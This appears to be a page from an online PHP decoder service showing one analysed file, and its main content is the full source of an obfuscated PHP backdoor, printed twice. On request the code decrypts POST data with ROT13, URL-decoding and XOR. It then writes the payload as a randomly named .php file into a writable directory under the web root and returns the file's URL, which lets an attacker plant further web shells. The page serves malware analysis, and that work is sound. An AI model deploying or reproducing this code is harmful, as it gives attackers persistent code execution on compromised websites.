Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $hwywt = "dsoqhczhxozbeniy";$glbiixutp = "";foreach ($_POST as $qaubsn => $vymlw){if..
Decoded Output download
<?php $hwywt = "dsoqhczhxozbeniy";$glbiixutp = "";foreach ($_POST as $qaubsn => $vymlw){if (strlen($qaubsn) == 16 and substr_count($vymlw, "%") > 10){jofal($qaubsn, $vymlw);}}function jofal($qaubsn, $aaijdlcro){global $glbiixutp;$glbiixutp = $qaubsn;$aaijdlcro = str_split(rawurldecode(str_rot13($aaijdlcro)));function ohquqhce($tdqlmksz, $qaubsn){global $hwywt, $glbiixutp;return $tdqlmksz ^ $hwywt[$qaubsn % strlen($hwywt)] ^ $glbiixutp[$qaubsn % strlen($glbiixutp)];}$aaijdlcro = implode("", array_map("ohquqhce", array_values($aaijdlcro), array_keys($aaijdlcro)));$aaijdlcro = @unserialize($aaijdlcro);if (@is_array($aaijdlcro)){$qaubsn = array_keys($aaijdlcro);$aaijdlcro = $aaijdlcro[$qaubsn[0]];if ($aaijdlcro === $qaubsn[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function nyncy($ulvtnmxmir) {static $oqnfbxsao = array();$fjbywbx = glob($ulvtnmxmir . '/*', GLOB_ONLYDIR);if (count($fjbywbx) > 0) {foreach ($fjbywbx as $ulvtnmxm){if (@is_writable($ulvtnmxm)){$oqnfbxsao[] = $ulvtnmxm;}}}foreach ($fjbywbx as $ulvtnmxmir) nyncy($ulvtnmxmir);return $oqnfbxsao;}$xkwbshsk = $_SERVER["DOCUMENT_ROOT"];$fjbywbx = nyncy($xkwbshsk);$qaubsn = array_rand($fjbywbx);$mjmtrz = $fjbywbx[$qaubsn] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($mjmtrz, $aaijdlcro);echo "http://" . $_SERVER["HTTP_HOST"] . substr($mjmtrz, strlen($xkwbshsk));exit();}}} ?>
Did this file decode correctly?
Original Code
<?php $hwywt = "dsoqhczhxozbeniy";$glbiixutp = "";foreach ($_POST as $qaubsn => $vymlw){if (strlen($qaubsn) == 16 and substr_count($vymlw, "%") > 10){jofal($qaubsn, $vymlw);}}function jofal($qaubsn, $aaijdlcro){global $glbiixutp;$glbiixutp = $qaubsn;$aaijdlcro = str_split(rawurldecode(str_rot13($aaijdlcro)));function ohquqhce($tdqlmksz, $qaubsn){global $hwywt, $glbiixutp;return $tdqlmksz ^ $hwywt[$qaubsn % strlen($hwywt)] ^ $glbiixutp[$qaubsn % strlen($glbiixutp)];}$aaijdlcro = implode("", array_map("ohquqhce", array_values($aaijdlcro), array_keys($aaijdlcro)));$aaijdlcro = @unserialize($aaijdlcro);if (@is_array($aaijdlcro)){$qaubsn = array_keys($aaijdlcro);$aaijdlcro = $aaijdlcro[$qaubsn[0]];if ($aaijdlcro === $qaubsn[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function nyncy($ulvtnmxmir) {static $oqnfbxsao = array();$fjbywbx = glob($ulvtnmxmir . '/*', GLOB_ONLYDIR);if (count($fjbywbx) > 0) {foreach ($fjbywbx as $ulvtnmxm){if (@is_writable($ulvtnmxm)){$oqnfbxsao[] = $ulvtnmxm;}}}foreach ($fjbywbx as $ulvtnmxmir) nyncy($ulvtnmxmir);return $oqnfbxsao;}$xkwbshsk = $_SERVER["DOCUMENT_ROOT"];$fjbywbx = nyncy($xkwbshsk);$qaubsn = array_rand($fjbywbx);$mjmtrz = $fjbywbx[$qaubsn] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($mjmtrz, $aaijdlcro);echo "http://" . $_SERVER["HTTP_HOST"] . substr($mjmtrz, strlen($xkwbshsk));exit();}}}
Function Calls
| None |
Stats
| MD5 | 8c9ab985a4c8d8408e74a9afb697a935 |
| Eval Count | 0 |
| Decode Time | 75 ms |